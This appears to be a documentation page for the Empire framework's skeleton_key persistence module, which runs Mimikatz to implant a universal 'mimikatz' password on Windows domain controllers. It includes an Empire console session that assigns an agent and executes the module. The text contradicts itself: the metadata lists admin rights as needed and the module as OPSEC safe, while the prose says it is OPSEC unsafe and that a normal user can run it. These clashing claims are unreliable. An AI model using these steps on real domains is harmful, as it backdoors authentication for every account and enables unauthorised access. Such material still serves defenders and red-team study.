Invoke-Mimikatz SkeletonKey - Empire Module


This page contains detailed information about how to use the powershell/persistence/misc/skeleton_key Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Invoke-Mimikatz SkeletonKey
Module: powershell/persistence/misc/skeleton_key
Source code [1]: empire/server/modules/powershell/persistence/misc/skeleton_key.yaml
Source code [2]: empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
MITRE ATT&CK: T1098, S0194
Language: PowerShell
Needs admin: Yes
OPSEC safe: Yes
Background: Yes

The skeleton_key module runs PowerSploit's Invoke-Mimikatz function to execute misc::skeleton to implant a skeleton key w/ password 'mimikatz'. ONLY APPLICABLE ON DOMAIN CONTROLLERS!.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the skeleton_key module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the skeleton_key module:

Agent
Agent to run module on.

Skeleton_key Example Usage

Here's an example of how to use the skeleton_key module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/persistence/misc/skeleton_key

 Author       @JosephBialek                                                         
              @gentilkiwi                                                           
 Background   True                                                                  
 Comments     http://clymb3r.wordpress.com/                                         
              http://blog.gentilkiwi.com                                            
 Description  Runs PowerSploit's Invoke-Mimikatz function to execute misc::skeleton 
              to implant a skeleton key w/ password 'mimikatz'. ONLY APPLICABLE ON  
              DOMAIN CONTROLLERS!                                                   
 Language     powershell                                                            
 Name         powershell/persistence/misc/skeleton_key                              
 NeedsAdmin   True                                                                  
 OpsecSafe    True                                                                  
 Software     http://attack.mitre.org/software/S0194                                
 Techniques   http://attack.mitre.org/techniques/T1098                              


,Record Options-,----------,-------------------------,
| Name  | Value | Required | Description             |
|-------|-------|----------|-------------------------|
| Agent |       | True     | Agent to run module on. |
'-------'-------'----------'-------------------------'

(Empire: usemodule/powershell/persistence/misc/skeleton_key) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/persistence/misc/skeleton_key) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
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